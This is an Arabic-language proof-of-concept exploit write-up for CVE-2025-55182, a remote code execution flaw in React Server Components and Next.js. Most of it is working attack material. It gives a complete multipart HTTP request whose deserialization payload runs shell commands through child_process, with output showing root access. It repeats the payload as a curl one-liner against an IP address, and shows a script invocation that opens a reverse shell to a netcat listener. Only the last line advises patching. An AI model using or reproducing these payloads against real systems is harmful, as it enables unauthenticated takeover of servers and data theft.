
إثبات مفهوم لاستغلال CVE-2025-55182: تنفيذ أوامر عن بُعد غير مصادق عليه في مكونات خادم React عبر إلغاء تسلسل غير آمن، مما يتيح تنفيذ أوامر عشوائية وقذائف عكسية على نقاط نهاية RSC/Next.js الضعيفة.

CVE-2025-55182 هي ثغرة أمنية حرجة من نوع تنفيذ الأوامر عن بعد (RCE) تؤثر على مكونات خادم React (RSC).
تسمح هذه الثغرة الأمنية للمهاجمين غير المصادق عليهم بتنفيذ كود عشوائي على الخوادم المعرضة للخطر.
ينشأ المشكلة من إلغاء تسلسل غير آمن في نقاط نهاية وظائف الخادم لمكون خادم React. يسمح التحقق غير السليم بطلبات مصممة خصيصًا لتنفيذ حمولات ضارة.
نظرًا لأن الأطر المبنية على React منتشرة على نطاق واسع، فإن سطح الهجوم واسع للغاية.
الإصدارات المعرضة للخطر تشمل:
react-server-dom-webpack 19.0.0 – 19.2.0
react-server-dom-parcel 19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0
الأطر المبنية فوق هذه الحزم (مثل تطبيقات Next.js التي تستخدم إصدارات معرضة للخطر) قد تتأثر أيضًا.
الخلل ناتج عن:
وهذا يمكّن المهاجمين من صياغة حمولات ضارة يتم تنفيذها على الخادم.
ابحث عن:
| الفئة | القيمة |
|---|---|
| الثغرة الأمنية | تنفيذ الأوامر عن بعد |
| المصادقة المطلوبة | ❌ لا |
| متجه الهجوم | 🌐 الشبكة |
| الخطورة | 🔴 حرجة |
| تم الاستغلال في البرية | ⚠️ نعم |
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
سيعيد:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}



┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}


sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
ubuntu (أو ما شابه).sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"
للصلة العكسية:
nc -lvnp 4444sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444إذا كان تطبيقك يستخدم مكونات خادم React، قم بالتصحيح فورًا. التأخير يزيد من خطر التعرض بشكل كبير.